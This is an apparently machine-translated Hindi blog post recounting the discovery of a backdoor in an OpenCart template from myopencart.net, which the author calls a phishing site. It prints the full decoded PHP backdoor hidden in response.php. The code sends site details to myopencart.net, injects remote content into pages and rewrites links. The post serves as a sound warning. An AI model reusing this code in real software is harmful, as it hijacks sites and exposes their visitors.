🌐 🤽🏿 ♍️ Myopencart.net से एकल टेम्पलेट या पिछले दरवाजे की कहानी 👩‍👩‍👦 💐 🔳

प्रस्तावना

एक बार एक मित्र ने मुझे यह देखने के लिए कहा कि वह सीएमएस ओपेनकार्ट पर टेम्पलेट क्यों नहीं स्थापित कर सकता है।

साइट के लिए एक लिंक भेजता है, प्रशासनिक भाग और होस्टिंग तक पहुंच। मैं अंदर जाता हूं, मुझे थीम डायरेक्टरी ( / कैटलॉग / व्यू / थीम / ) में एक टेम्प्लेट दिखाई देता है। सिस्टम की संरचना के बारे में थोड़ी सी समझ होने पर, मैं समझता हूं कि टेम्पलेट में लोड करने के लिए कोई उपकरण नहीं है, उदाहरण के लिए, वर्डप्रेस में। एक नई थीम जोड़ना विशिष्ट फ़ोल्डर में आवश्यक फ़ाइलों को डाउनलोड करके है। और CMS थीम फ़ोल्डर को स्कैन करके उपलब्ध टेम्पलेट्स के बारे में "सीखता है"।

तो, समस्या का समाधान आम था, टेम्पलेट बस गलत तरीके से लोड किया गया था। इस मामले में, इसे साइट की जड़ से डाउनलोड करना होगा।

परिणाम

इससे कहानी समाप्त हो जाती, लेकिन संग्रह में "अतिरिक्त" फाइलें होती थीं और मौजूदा की जगह लेती थीं जो टेम्पलेट से संबंधित नहीं थीं। और मैं सोच रहा था कि वहां क्या गायब है, क्या बदलने की जरूरत है।
नियंत्रकों में कई लिपियों को जोड़ा गया, स्थानीयकरण फ़ाइलें, और /system/library/response.php को बदल दिया गया।

अंतिम फ़ाइल सबसे दिलचस्प निकली, जहाँ मुझे ये पंक्तियाँ मिलीं:

बेस 64

$ouput = eval(base64_decode('='));

बेशक, यह मूल फ़ाइल में नहीं था।

डिकोडिंग के बाद, यह स्वाभाविक रूप से एक पिछले दरवाजे के रूप में निकला:

function get_page

 function get_page($url){ $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9'; $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL,$url ); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch,CURLOPT_VERBOSE,false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $page=curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); switch($httpcode){ case '200': return $page; break; case '404'; return false; break; } } if ($ftend = get_page("http://myopencart.net/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){ $find = array("</body>", "</html>", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by"); $replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net"); $ouput = str_replace($find, $replace, $ouput); ini_set("display_errors","off"); error_reporting(0); echo $ouput;} else { echo $ouput; }

यह कोड न केवल प्रतियोगियों और आधिकारिक साइट के लिंक की जगह लेता है, बल्कि आपको पेज की सामग्री को प्रबंधित करने की भी अनुमति देता है।

उपरोक्त सर्वर से प्रतिक्रिया दी जाती है:

 </body></html>

लेकिन, जेएस ~~का php कोड~~ वापस करने से क्या रोकता है।

ऐसी बातें।

निष्कर्ष

अपने डर की जांच और पुष्टि करने के लिए, मैं "पार्टनर्स" अनुभाग में आधिकारिक साइट opencart.com पर गया। कार्यालय को कहां इंगित किया गया है RF साइट opencart.ru है , और वास्तव में इसने पुष्टि की है कि myopencart.net एक फ़िशिंग साइट है।

सावधान रहें और जांचें कि आप क्या स्थापित करते हैं!

युपीडी

PHP कोड के बारे में, हमें पता चला कि यह हमला किए गए सर्वर पर निष्पादित नहीं किया जा सकता है।

Myopencart.net से एकल टेम्पलेट या पिछले दरवाजे की कहानी

प्रस्तावना

परिणाम

निष्कर्ष

More articles: